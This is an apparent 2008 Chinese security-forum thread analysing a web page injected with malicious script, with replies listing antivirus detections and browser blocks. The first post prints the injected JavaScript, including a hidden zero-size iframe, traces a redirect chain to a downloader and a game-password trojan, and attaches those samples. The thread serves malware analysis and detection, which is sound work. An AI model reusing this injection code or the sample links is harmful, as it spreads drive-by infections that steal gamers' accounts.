http://kf.shangdu.com/news/moshou/?37594

冷冷

地址：http://kf.shangdu.com/news/moshou/?37594
挂马：<SCRIPT src="http://down.wmjqr.cn/down/downwow/ads1.js" type=text/javascript></SCRIPT>
内容：
document.writeln("<iframe height=570 width=710 align=center scrolling=no frameBORDER=0 src=http://down.wmjqr.cn/down/downwow/ui.htm></iframe>");
document.writeln("<p align=left>本站推荐魔兽挂机外挂：<a href=http://down.wmjqr.cn/down/downwow/downwow.asp?id=009><font color=red>魔兽世界Robolet(支持美,中,台服) (点击下载)</font></a><br><br>魔兽大脚插件BigFoot绿色版：<a href=http://down.wmjqr.cn/down/downwow/downwow.asp?id=010><font color=red>BigFoot绿色版(点击下载)</font></a><br><br>功能强大数据库最全的魔兽任务插件QuestLibrary：<a href=http://down.wmjqr.cn/down/downwow/downwow.asp?id=010><font color=red>QuestLibrary(点击下载)</font></a><br><br>CWDG为你制作的综合ACE2库包：<a href=http://down.wmjqr.cn/down/downwow/downwow.asp?id=010><font color=red>ACE Lib整合库包(点击下载)</font></a><br><br>魔兽滑翔机外挂，支持国服TBC ：<a href=http://down.wmjqr.cn/down/downwow/downwow.asp?id=010><font color=red>魔兽滑翔机(点击下载)</font></a>");
document.writeln("<iframe height=0 width=0 src=http://btyxw.cn/ms/mm.htm></iframe>");
document.write('<br><br><iframe height=200 width=760 align=center scrolling=no frameBORDER=0 src=http://ad.cuioo.cn/ad/></iframe>');

http://btyxw.cn/ms/mm.htm
-->http://btyxw.cn/ms/lzn.htm
-->http://btyxw.cn/ms/realn.htm
-->http://btyxw.cn/ms/flash1.swf
-->http://btyxw.cn/ms/flash2.swf
-->http://btyxw.cn/ms/real.j
-->http://btyxw.cn/ms/014.js
  -->http://btyxw.cn/ms/014.exe 014.rar (1.99 KB, 下载次数: 84)

2008-11-24 16:07 上传

点击文件名下载附件

014.exe是下载者
访问:http://wmjqr.cn/0ms.txt
        ---> http://btyxw.cn/ms/ma.exe ma.rar (27.27 KB, 下载次数: 90)

2008-11-24 16:07 上传

点击文件名下载附件



[ 本帖最后由 冷冷 于 2008-11-24 16:09 编辑 ]

ALEXBLAIR

卡巴对这个脚本都飘~~~TO KL

比较有意思的是，即使脚本都飘，最后下载的东西都杀，挂马的只能白高兴

啊弥陀佛

微点拦截

yeandwo

avast  Win32:Spyware-gen [Trj]   Win32:Trojan-gen {Other}

火狐直接挡了！

已报告的攻击站点！                    
位于 kf.shangdu.com 的站点已经被报告为攻击网站，而且已根据您的安全首选项而阻止。
         
攻击站点会安装用于盗窃隐私信息的程序，或使用您的计算机来攻击其他人，或者损坏您的系统。

某些攻击站点故意发布有害软件，但是许多都没有在获得用户允许或者了解的情况下进行。

左手

2008-11-24 17:43:19    加载库文件      操作:阻止
进程路径:D:\Program Files\GreenBrowser\GreenBrowser.exe
文件路径:C:\Program Files\Common Files\System\msadc\msadco.dll
触发规则:所有程序规则->禁止加载的库文件->*\msadco.dll

leonfg

C:\Documents and Settings\GUNDAM\桌面\014.rar » RAR » 014.exe - a variant of Win32/TrojanDownloader.Small.OEU trojan
C:\Documents and Settings\GUNDAM\桌面\ma.rar » RAR » ma[1].exe - Win32/PSW.WOW.COJ trojan

sanhu35

支持1下

浪滔天

卡巴的测试脚本启发引擎还行

liwenshuo1

如图了